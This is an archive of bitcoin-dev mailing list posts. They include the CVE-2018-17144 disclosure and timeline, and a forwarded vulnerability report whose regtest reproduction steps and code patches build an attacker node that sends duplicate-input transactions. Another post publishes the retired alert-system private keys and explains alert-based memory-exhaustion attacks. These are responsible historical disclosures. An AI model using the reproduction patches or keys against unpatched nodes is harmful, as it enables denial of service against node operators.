http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-maintainers/
Wallet re-architecture discussion
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-05-wallet-architecture/
Great consensus cleanup
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-great-consensus-cleanup/
SIGHASH_NOINPUT, OP_CHECKSIGFROMSTACK, OP_CHECKOUTPUTSHASHVERIFY,
OP_SECURETHEBAG
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-noinput-etc/
Taproot discussion
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-taproot/
Utreexo
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-utreexo/
assumeutxo
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-assumeutxo/
Hardware wallets and HWI
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-hardware-wallets/
bip151, p2p encryption and v2 message format
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-p2p-encryption/
Signet for bitcoin test networks
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-signet/
Statechains overview
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-statechains/
Thanks,
- Bryan
https://heybryan.org/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190607/ffa4857e/attachment.html>

2023-06-07 18:18:38

- reply

📅 Original date posted:2019-06-05
📝 Original message:---------- Forwarded message ---------
From: William Casarin <jb55 at jb55.com>
Date: Wed, Jun 5, 2019 at 9:13 AM
Subject: [ots-dev] miniOTS: ots proofs that fit in a tweet
To: <ots-dev at lists.opentimestamps.org>
Hello OTS people,
Following from my previous post about cleartext OTS proof sharing[1],
I've been working on a new OTS format called miniOTS, which is
minimal/compressed format that allows attestations to fit in a tweet[2]
and for other space constrained contexts.
Just stripping out additional attestations in the standard format only
gets it down to just above ~280 bytes when base58 encoded, which is too
much for a tweet, so I decided to roll a custom format that is a bit
more efficient with attestation and op tags.
The goal was to have small enoughs proofs that I could reply to a tweet
with the stamp of the previous message, instead of relying on external
sites such as @otsproofbot
Current format (210 bytes, 288 bytes base58-encoded):
00000000: 004f 7065 6e54 696d 6573 7461 6d70 7300 .OpenTimestamps.
00000010: 0050 726f 6f66 00bf 89e2 e884 e892 9401 .Proof..........
00000020: 08cb 2d4a f572 8d44 a5b0 7c7b f1ff 78a9 ..-J.r.D..|{..x.
00000030: 1818 7270 13f1 9bbd f4b0 344b 9e93 0c6b ..rp......4K...k
00000040: 39f0 1020 34fe cad9 edef bab0 3420 e4ee 9.. 4.......4 ..
00000050: d3a7 c608 fff0 107c 31f7 da6c dbf2 3271 .......|1..l..2q
00000060: 904c c5dd f58d eb08 f120 e4f7 3eaf a747 .L....... ..>..G
00000070: 324a f096 1aa0 928d e1c1 91bf 3c38 237d 2J..........<8#}
00000080: d412 c1c0 e94c d4ae 3f76 08f1 045c 4cb3 .....L..?v...\L.
00000090: a4f0 08f7 834d 4b14 68fd 41ff 0083 dfe3 .....MK.h.A.....
000000a0: 0d2e f90c 8e2c 2b68 7474 7073 3a2f 2f62 .....,+https://b
000000b0: 6f62 2e62 7463 2e63 616c 656e 6461 722e ob.btc.calendar.
000000c0: 6f70 656e 7469 6d65 7374 616d 7073 2e6f opentimestamps.o
000000d0: 7267 rg
miniOTS format (133 bytes, 183 bytes base58-encoded):
00000000: 6f74 7301 8a20 34fe cad9 edef bab0 3420 ots.. 4.......4
00000010: e4ee d3a7 c683 8a7c 31f7 da6c dbf2 3271 .......|1..l..2q
00000020: 904c c5dd f58d eb83 8be4 f73e afa7 4732 .L.........>..G2
00000030: 4af0 961a a092 8de1 c191 bf3c 3823 7dd4 J..........<8#}.
00000040: 12c1 c0e9 4cd4 ae3f 7683 8b5c 4cb3 a48a ....L..?v..\L...
00000050: f783 4d4b 1468 fd41 9a2b 6874 7470 733a ..MK.h.A.+https:
00000060: 2f2f 626f 622e 6274 632e 6361 6c65 6e64 //bob.btc.calend
00000070: 6172 2e6f 7065 6e74 696d 6573 7461 6d70 ar.opentimestamp
00000080: 732e 6f72 67 s.org
base58 before:
12j6JNmon36jC1MMcpvC8nHqg5p8DAT2mmPQ5aLaBmAbk8naEVt8HFVohRqkuMXZF2Wo2n9kv
5ByeL17yUww4NHuFyCT6PXsGxRuEZ12Z33gsLbXL5FuFmnvMLd3tzf76n69J7qxLPxmoAgm1z
9NEMi2MRypDNKy1GypGN5NLwerzy1nU5g5dZxV6TZ5rBs4gYqnMNJn9VMkfKeDSZ9M8aoMWrL
ShokXUpnS1qrqkTvTwyKMx17fhKfcP9FyhNkb81t8dwYLtBsN4QuP9UAktMUvjEoBzHt
base58 after:
6gQjQUehytgUevKLRtAFYbC6UJX72LCDgVWxAUPsCt3tqEVTEQfmUB1T1Y1GTyY8sugiPY97K
gWRPPXYJmH3J5jqVtyNLrzdkySM6VAYDVckya9BxbUbFB8Gs4U3LHEauTmgCPEhGhiRdC3eFW
63SwfAvKB8Q8Ku8ZM9uASCwWZ8K2AoVabuAn
You can check it out here:
git clone https://git.sr.ht/~jb55/ots-tool
This is still a work in progress, I haven't built the miniOTS -> OTS
decoder yet.
make
./otsmini file.ots
Cheers,
Will
[1] id:878t1fzn0v.fsf at jb55.com
[2] https://twitter.com/jb55/status/1136260220521336832
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190605/e02128e5/attachment.html>

2023-06-07 18:16:34

- reply

📅 Original date posted:2019-03-05
📝 Original message:Hi all,
Just fyi, but this bitcoin-dev mailing list has been down for a few weeks.
It's currently hosted by Linux Foundation, and they are slowly deprecating
their support for email. We will have to find an alternative service
provider for the mailing list moving forward. I have received a variety of
recommendations for how to move forward.
My one reservation in this process is that I am concerned about the
subscriber list and I am not sure how we want to treat this. I view this as
a possible privacy issue. For example, if we were to migrate to a new
mailing list, it's important that list subscribers are not disclosed. At
the same time, some people rely on this mailing list for important
announcements maybe even security announcements in some situations. I'd
appreciate feedback on what people think about this particular issue. Since
the mailing list is not reliable anymore, please remember to cc the
feedback to me directly.
In the mean time, here is an archive of the mailing list content including
some old timestamps in the opentimestamps format for some of the older
content:
http://diyhpl.us/~bryan/irc/bitcoin/bitcoin-dev/bitcoin-dev-mailing-list-archive-2019-03-05.zip
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190305/e1668bb5/attachment.html>

2023-06-07 18:14:52

- reply

📅 Original date posted:2018-09-26
📝 Original message:It has been informed to me that the writeup for the recent
vulnerability was not distributed to this mailing list. Please find
details at the following blog post:
https://bitcoincore.org/en/2018/09/20/notice/
I believe a release notice was posted but not information about the bug,
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016413.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016414.html
There was also further discussion here:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016424.html
Also, around the time those emails were sent, there was a mailing list
moderator queue bug and nobody was able to approve emails including
myself. This bug was subsequently resolved by Linux Foundation.
The remainder of this email is copy-paste from the bitcoincore.org
page linked above.
=== Full disclosure ===
CVE-2018-17144, a fix for which was released on September 18th in
Bitcoin Core versions 0.16.3 and 0.17.0rc4, includes both a Denial of
Service component and a critical inflation vulnerability. It was
originally reported to several developers working on Bitcoin Core, as
well as projects supporting other cryptocurrencies, including ABC and
Unlimited on September 17th as a Denial of Service bug only, however
we quickly determined that the issue was also an inflation
vulnerability with the same root cause and fix.
In order to encourage rapid upgrades, the decision was made to
immediately patch and disclose the less serious Denial of Service
vulnerability, concurrently with reaching out to miners, businesses,
and other affected systems while delaying publication of the full
issue to give times for systems to upgrade. On September 20th a post
in a public forum reported the full impact and although it was quickly
retracted the claim was further circulated.
At this time we believe over half of the Bitcoin hashrate has upgraded
to patched nodes. We are unaware of any attempts to exploit this
vulnerability.
However, it still remains critical that affected users upgrade and
apply the latest patches to ensure no possibility of large
reorganizations, mining of invalid blocks, or acceptance of invalid
transactions occurs.
=== Technical details ===
In Bitcoin Core 0.14, an optimization was added (Bitcoin Core PR
#9049) which avoided a costly check during initial pre-relay block
validation that multiple inputs within a single transaction did not
spend the same input twice which was added in 2012 (PR #443). While
the UTXO-updating logic has sufficient knowledge to check that such a
condition is not violated in 0.14 it only did so in a sanity check
assertion and not with full error handling (it did, however, fully
handle this case twice in prior to 0.8).
Thus, in Bitcoin Core 0.14.X, any attempts to double-spend a
transaction output within a single transaction inside of a block will
result in an assertion failure and a crash, as was originally
reported.
In Bitcoin Core 0.15, as a part of a larger redesign to simplify
unspent transaction output tracking and correct a resource exhaustion
attack the assertion was changed subtly. Instead of asserting that the
output being marked spent was previously unspent, it only asserts that
it exists.
Thus, in Bitcoin Core 0.15.X, 0.16.0, 0.16.1, and 0.16.2, any attempts
to double-spend a transaction output within a single transaction
inside of a block where the output being spent was created in the same
block, the same assertion failure will occur (as exists in the test
case which was included in the 0.16.3 patch). However, if the output
being double-spent was created in a previous block, an entry will
still remain in the CCoin map with the DIRTY flag set and having been
marked as spent, resulting in no such assertion. This could allow a
miner to inflate the supply of Bitcoin as they would be then able to
claim the value being spent twice.
=== Timeline ===
Timeline for September 17, 2018: (all times UTC)
14:57 anonymous reporter reports crash bug to: Pieter Wuille, Greg
Maxwell, Wladimir Van Der Laan of Bitcoin Core, deadalnix of Bitcoin
ABC, and sickpig of Bitcoin Unlimited.
15:15 Greg Maxwell shares the original report with Cory Fields, Suhas
Daftuar, Alex Morcos and Matt Corallo
17:47 Matt Corallo identifies inflation bug
19:15 Matt Corallo first tries to reach slushpool CEO to have a line
of communication open to apply a patch quickly
19:29 Greg Maxwell timestamps the hash of a test-case which
demonstrates the inflation vulnerability
(a47344b7dceddff6c6cc1c7e97f1588d99e6dba706011b6ccc2e615b88fe4350)
20:15 John Newbery and James O’Beirne are informed of the
vulnerability so they can assist in alerting companies to a pending
patch for a DoS vulnerability
20:30 Matt Corallo speaks with slushpool CTO and CEO and shares patch
with disclosure of the Denial of Service
20:48 slushpool confirmed upgraded
21:08 Alert was sent to Bitcoin ABC that a patch will be posted
publicly by 22:00
21:30 (approx) Responded to original reporter with an acknowledgment
21:57 Bitcoin Core PR 14247 published with patch and test
demonstrating the Denial of Service bug
21:58 Bitcoin ABC publishes their patch
22:07 Advisory email with link to Bitcoin Core PR and patch goes out
to Optech members, among others
23:21 Bitcoin Core version 0.17.0rc4 tagged
September 18, 2018:
00:24 Bitcoin Core version 0.16.3 tagged
20:44 Bitcoin Core release binaries and release announcements were available
21:47 Bitcointalk and reddit have public banners urging people to upgrade
September 19, 2018:
14:06 The mailing list distributes an additional message urging people
to upgrade by Pieter Wuille
September 20, 2018:
19:50 David Jaenson independently discovered the vulnerability, and it
was reported to the Bitcoin Core security contact email.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:14:49

- reply

📅 Original date posted:2018-09-22
📝 Original message:---------- Forwarded message ----------
From: Gregory Maxwell via bitcoin-core-dev <
bitcoin-core-dev at lists.linuxfoundation.org>
Date: Sat, Sep 22, 2018 at 12:12 PM
Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144
To: bitcoin-core-dev at lists.linuxfoundation.org
For some reason I don't understand, Andrea Suisani is stating on
twitter that the the report by awemany was a report of an inflation
bug, contrary to the timeline we published. This is not the case:
the report specifically stated that inflation was not possible because
the node crashed. It also described a reproduction of the crash, but
not of inflation.
I generally understand how someone could be confused about what a
report they hadn't seen said, but I'm confused in this case because
Andrea Suisani was copied on the report to us. So I'm not sure what is
up with that, perhaps the message got lost in email. If the reporter
knew the bug permitted inflation, they still specifically reported
otherwise to us.
Since people are also expressing doubt that awemany was actually the
author of the report, I'll include it here in its entity to aid
people's validation of the claim(s). There is a better test for the
crash issue include in master branch of the Bitcoin repository, the
reporter's reproduction instructions here are only included for
completeness.
Cheers,
Date: Mon, 17 Sep 2018 14:57:46 +0000
To: Pieter Wuille <pieter.wuille at gmail.com>, deadalnix
<deadalnix at gmail.com>, Andrea Suisani <sickpig at gmail.com>, Gregory
Maxwell <gmaxwell at gmail.com>, "Wladimir J. van der Laan"
<laanwj at gmail.com>
From: beardnboobies <beardnboobies at protonmail.com>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core
Dear Bitcoiners,
Please find attached an encrypted description of a crashing zero day
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been
reproduced for Bitcoin Unlimited, though for advisory reasons, I am
sending it to one of their members that I could find a PGP key for as
well.
Please forward this to any party who might have a valid interest,
including Bitcoin miners.
Thank you very much.
===
Problem description:
The following, miner-exploitable zero day has been found in Bitcoin ABC as
well as in Bitcoin Core:
Duplicate inputs are not checked in CheckBlock,
only when they are accepted into the mempool.
This creates a problem insofar as a transaction might bypass
the mempool when it is included in a block, for example if
it is transmitted as an extra transaction along with a compact
block.
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
seems to prevent the worse outcome of monetary inflation by
the comparatively better result of crashing the node.
To reproduce (Description is for Bitcoin ABC, but applies similarly to
Bitcoin Core):
Create one instance of ABC bitcoind without the patch below
applied (A) and create on instance of ABC with the patch applied (B).
The patch removes sending of transactions and testing for double-spent
inputs for the attacker node.
Run both in regtest mode and point them to different data directories,
like so and connect them together:
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug
-datadir=/tmp/abc.2
Now on the prepared attacker node B, create a bunch of blocks and a
transaction
that double-spends its input, like so for example:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
<address>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress
<address>
<resulting-txid>
> ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout>
in=<resulting-txid>:<vout> outaddr=99.9:<address>
<resulting-txn-hex>
The double entry of the input here is not a typo. This is the desired
double-spend.
Sign the resulting transaction hex like so:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
signrawtransaction <txid>
<signed-txn-hex>
For Core, this step needs to be adapted to signrawtransactionwithkey.
And send the result into the small regtest test netwrok:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
sendrawtransaction <signed-txn-hex>
Voila, your node A should have just aborted like this:
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
Aborted (core dumped)
If you like this work or want to pay out a bounty for finding a zero day,
please do so in BCH to this address. Thank you very much in advance.
bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5
The patch for ABC:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index ee909deb9..ff7942361 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction
&tx,
// Check for duplicate inputs - note that this check is slow so we
skip it
// in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto &txin : tx.vin) {
if (!vInOutPoints.insert(txin.prevout).second) {
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index e4ecc793c..ee1cc3cda 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
// however we MUST always provide at least
what the
// remote peer needs.
typedef std::pair<unsigned int, uint256>
PairType;
- for (PairType &pair : merkleBlock.vMatchedTxn)
{
- connman->PushMessage(
- pfrom,
- msgMaker.Make(NetMsgType::TX,
- *block.vtx[pair.first]));
- }
}
// else
// no response
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = 0;
- if (mi != mapRelay.end()) {
- connman->PushMessage(
- pfrom,
- msgMaker.Make(nSendFlags, NetMsgType::TX,
*mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using the
- // mempool when that TX couldn't have been INVed
in reply to
- // a MEMPOOL request.
- if (txinfo.tx &&
- txinfo.nTime <= pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
- msgMaker.Make(nSendFlags,
- NetMsgType::TX,
- *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index a31546432..a9edbb956 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const
CTransaction &tx, CTxUndo &txundo,
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = view.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
----
The same patch for Core:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index 0628ec1d4..a06f77f8b 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,
CValidationState &state, bool fChe
}
// Check for duplicate inputs - note that this check is slow so
we skip it in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto& txin : tx.vin)
{
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index b48a3bd22..9b7fb5839 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,
const CChainParams& chainparams, c
// Thus, the protocol spec specified allows for
us to provide duplicate txn here,
// however we MUST always provide at least what
the remote peer needs
typedef std::pair<unsigned int, uint256> PairType;
- for (PairType& pair : merkleBlock.vMatchedTxn)
- connman->PushMessage(pfrom,
msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX,
*pblock->vtx[pair.first]));
}
// else
// no response
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const
CChainParams& chainparams, CConnm
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = (inv.type == MSG_TX ?
SERIALIZE_TRANSACTION_NO_WITNESS : 0);
- if (mi != mapRelay.end()) {
- connman->PushMessage(pfrom, msgMaker.Make(nSendFlags,
NetMsgType::TX, *mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using
the mempool when
- // that TX couldn't have been INVed in reply to a
MEMPOOL request.
- if (txinfo.tx && txinfo.nTime <=
pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index 947192be0..66536af24 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,
CCoinsViewCache& inputs, CTxUndo &txund
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = inputs.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
// add outputs
_______________________________________________
bitcoin-core-dev mailing list
bitcoin-core-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20180922/422a36a3/attachment-0001.html>

2023-06-07 18:13:29

- reply

📅 Original date posted:2018-07-02
📝 Original message:The bitcoin alert keys are disclosed in this email, followed by a
disclosure of various known vulnerabilities in what was once the alert
system. The bitcoin alert system has been completely retired. The
network is not at risk and this warning may be safely ignored if you
do not have an ancient node (running v0.12.x or older) using the
deprecated bitcoin alert system or its public keys.
mainnet public key:
04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284
mainnet private key:
30820113020101042053cdc1e0cfac07f7e1c312768886f4635f6bceebec0887f63a9d37a26a92e6b6a081a53081a2020101302c06072a8648ce3d0101022100fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f300604010004010704410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8022100fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141020101a14403420004fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284
testnet public key:
04302390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a
testnet private key:
308201130201010420474d447aa6f46b4f45f67f21180a5de2722fc807401c4c4d95fdae64b3d6c294a081a53081a2020101302c06072a8648ce3d0101022100fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f300604010004010704410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8022100fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141020101a14403420004302390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a
These are openssl-serialized private keys.
In 2016, a plan was proposed[1] for the completion of the retirement
of the bitcoin alert system which included the idea of revealing the
alert system private keys. The proposal still contains good
information regarding the purpose and intention of alert system
retirement and motivation for the disclosure of the private keys.
Additionally, an overview of the alert system retirement and its
timeline is available on the web at [2]. This disclosure was recently
discussed in an IRC meeting logs at [3]. A media site also recently
discussed this topic[4].
One of the reasons for disclosure of the keys is to mitigate the
effects of unknown dissemination and proliferation of the keys. By
broadcasting the values to make them available to everyone, the value
of the keys is intended to be to be eliminated, since now everyone
could feasibly sign messages, the value of the signed messages becomes
zero.
[1] https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-September/013104.html
[2] https://bitcoin.org/en/alert/2016-11-01-alert-retirement
[3] http://www.erisian.com.au/meetbot/bitcoin-core-dev/2018/bitcoin-core-dev.2018-06-21-19.00.log.html#l-30
[4] https://www.coindesk.com/long-secret-bitcoin-key-finally-revealed/
# Vulnerabilities in the bitcoin alert system
The following text[5] discloses a number of known vulnerabilities in
the alert system. Writeup contributed by achow101.
[5] https://gist.github.com/achow101/18a2dfc371c421419d494a3ae0447f66
The Alert System previously utilized by Bitcoin has several issues
(some of which may be classified as vulnerabilities). These issues no
longer exist in Bitcoin as of network protocol version 700013 which
was released with Bitcoin Core 0.13.0. Many altcoins and Bitcoin
client implementations were notified of the Alert System's removal and
have since removed the alert system themselves or transitioned to
using an Alert system that does not share an Alert Key with Bitcoin.
All of the issues described below allow an attacker in possession of
the Alert Key to perform a Denial of Service attack on nodes that
still support the Alert system. These issues involve the exhaustion of
memory which causes node software to crash or be killed due to
excessive memory usage.
Many of these issues were not known until the Alert System was removed
as developers inspected the code for vulnerabilities prior to
releasing the Alert Key. Due to these issues, the publication of the
Alert Key was delayed and affected altcoins and software were
notified.
As of this writing, less than 4% of Bitcoin nodes are vulnerable.
Furthermore, the Bitcoin Core developers have created a "final alert"
which is a maximum ID number alert which overrides all previous alerts
and displays a fixed "URGENT: Alert key compromised, upgrade required"
message on all vulnerable software. The Bitcoin Core developers
believe that so few vulnerable nodes are present on the network, and
risks to those nodes so minor, that it is safe to publish the Alert
Key.
An Alert contains these fields:
int32_t nVersion;
int64_t nRelayUntil; // when newer nodes stop relaying to newer nodes
int64_t nExpiration;
int32_t nID;
int32_t nCancel;
std::set<int32_t> setCancel;
int32_t nMinVer; // lowest version inclusive
int32_t nMaxVer; // highest version inclusive
std::set<std::string> setSubVer; // empty matches all
int32_t nPriority;
Alerts are also identified by their SHA256 hash. The above fields can
be freely modified to generate alerts with differing hashes.
# Infinitely sized map (CVE-2016-10724)
The Alert System was designed to support multiple Alerts
simultaneously. As such, Alerts were stored in memory in a map.
However, there is no limit on how large this map can be, thus an
attacker with the Alert Key can send a large number of Alerts to a
node. Eventually, the map containing all of the Alerts will be so
large that the node runs out of memory and crashes, thus causing a
Denial of Service attack.
The infinitely sized map is the basis for which the Alert system can
be used to cause Denial of Service attacks.
# Infinitely sized alerts
Although the infinitely sized map is what causes the crash itself, an
attacker can also send very large Alerts. Alerts themselves are not
limited in size explicitly, they are only limited by the maximum
network message size. This maximum network message size has varied
between versions. At times in the past, it has been 32 MB. For Bitcoin
Core 0.12.0 (the most recent version of Bitcoin Core with the alert
system enabled by default), the maximum message size is 2 MB.
Although large Alerts do not directly cause a Denial of Service by
themselves, combined with the infinitely sized map, large Alerts can
more quickly cause a node to run out of memory.
* The setCancel field has no length limit (besides the maximum message
size) and is a std::set of 32-bit integers. Given that it has no size
constraints, an attacker can use this field to create a very large
Alert by filling the set with many integers.
* The setSubVer field, like setCancel, has no length limit and is a
std::set. However instead of integers it has std::strings. These
strings do not have a length limit themselves and can thus be
arbitrarily long to produce an Alert that is arbitrarily large.
* Bitcoin Core versions prior to 0.10.0 did not have a limit on the
length of the strComment, strStatusBar, and strReserved fields. These
strings can have an arbitrary length.
# The final alert
To protect against attackers abusing the Alert key following its
publication, the Bitcoin Core developers constructed a "final alert".
This final alert is a maximum ID alert which overrides all previous
alerts. All Bitcoin Core versions since and including Bitcoin Core
0.14.0 contain the final alert and will send it to any node which is
vulnerable to issues including the following disclosures. However this
protection is not enough to protect those nodes as a few issues were
found with the final alert implementation itself.
Final alerts are those which meet the following conditions:
nExpiration == maxInt &&
nCancel == (maxInt-1) &&
nMinVer == 0 &&
nMaxVer == maxInt &&
setSubVer.empty() &&
nPriority == maxInt &&
strStatusBar == "URGENT: Alert key compromised, upgrade required"
maxInt is the maximum signed integer as defined by
std::numeric_limits<int>::max().
# Multiple final alerts
The definition for a final alert does not include a few fields.
Because alerts are identified by their hashes, changing the omitted
fields allows an Alert to be classified as a final alert but still be
an alert that is added to the infinitely sized map. The nCancel field
omits the maxInt ID number used by the final alert so all of the final
alerts share the same ID.
* Since setCancel is not required to be empty for an alert to be a
final alert, the setCancel field can contain different integers to
produce alerts that have different hashes and are thus different
alerts. Combined with the infinitely sized map and the infinitely
sized setCancel issues, many final alerts can be created which are
large, fill the map, and cause a node to run out of memory.
* The strComment field, while having a maximum length of 65536 bytes
(and no maximum length prior to Bitcoin Core version 0.10.0), is not
required to be a particular string in order for an alert to be a final
alert. Thus multiple final alerts can be crafted which have different
hashes by using different values for strComment
* The strReserved field, while having a maximum length of 256 bytes,
is not required to be a particular string in order for an alert to be
a final alert. Thus multiple final alerts can be crafted which have
different hashes by using different values for strReserved.
* The nVersion field is also not required to be a particular value.
Thus this can be used to construct final alerts with different hashes
by having different values for nVersion.
* nRelayUntil field is also not required to be a particular value.
Thus this can be used to construct final alerts with different hashes
by having different values for nRelayUntil.
# Final Alert Cancellation (CVE-2016-10725)
Although the final alert is supposed to be uncancellable, it
unfortunately is cancellable due to the order of actions when
processing an alert. Alerts are first processed by checking whether
they cancel any existing alert. Then they are checked whether any of
the remaining alerts cancels it. Because of this order, it is possible
to create an alert which cancels a final alert before the node checks
whether that alert is canceled by the final alert. Thus an attacker
can cancel a final alert with another alert allowing a node to be
vulnerable to all of the aforementioned attacks.
# Protecting against DoS attacks from the alert system
Fixing these issues is relatively easy. The first and most obvious
solution is to simply remove the Alert system entirely. As nodes
upgrade to versions without the Alert system, fewer nodes will be
vulnerable to attack should the Alert keys become public. This is the
option that Bitcoin has taken. However, because Bitcoin has retired
the Alert system entirely, the Alert key will also be published to
reduce the risk that the Alert Key is mistakenly depended upon in the
future.
Should altcoins wish to continue using the Alert system but with a
different Alert Key, a few very simple fixes will safeguard nodes from
the aforementioned issues. Limiting the number of alerts, the size of
setCancel and setSubVer, and only allowing one final alert altogether
fix the above issues. This patch[6], on top of Bitcoin Core 0.11 (a
vulnerable version), fixes the aforementioned issues. Altcoins that
still use the Alert system are recommended to port this patch to their
software. Outdated node software is still vulnerable.
[6] https://gist.github.com/achow101/02d03238090691558a68010a9ccbbf9d
This disclosure was authored primarily by Bryan Bishop (kanzure) and
Andrew Chow (achow101). Special thanks to reviewers. Also, an
interesting proposal was floated to not disclose the private keys in
WIF format-- one is that this is not how the original values were
received, and second (more importantly) to prevent users from
importing the key into their wallet and reusing it in their wallet key
circulation.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:13:21

- reply

📅 Original date posted:2018-06-18
📝 Original message:On Mon, Jun 18, 2018 at 3:40 PM, Bram Cohen via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Not sure what you're saying here. The block rate can't be particularly
> increased or decreased in the long run due to the work difficulty
> adjustment getting you roughly back where you started no matter what.
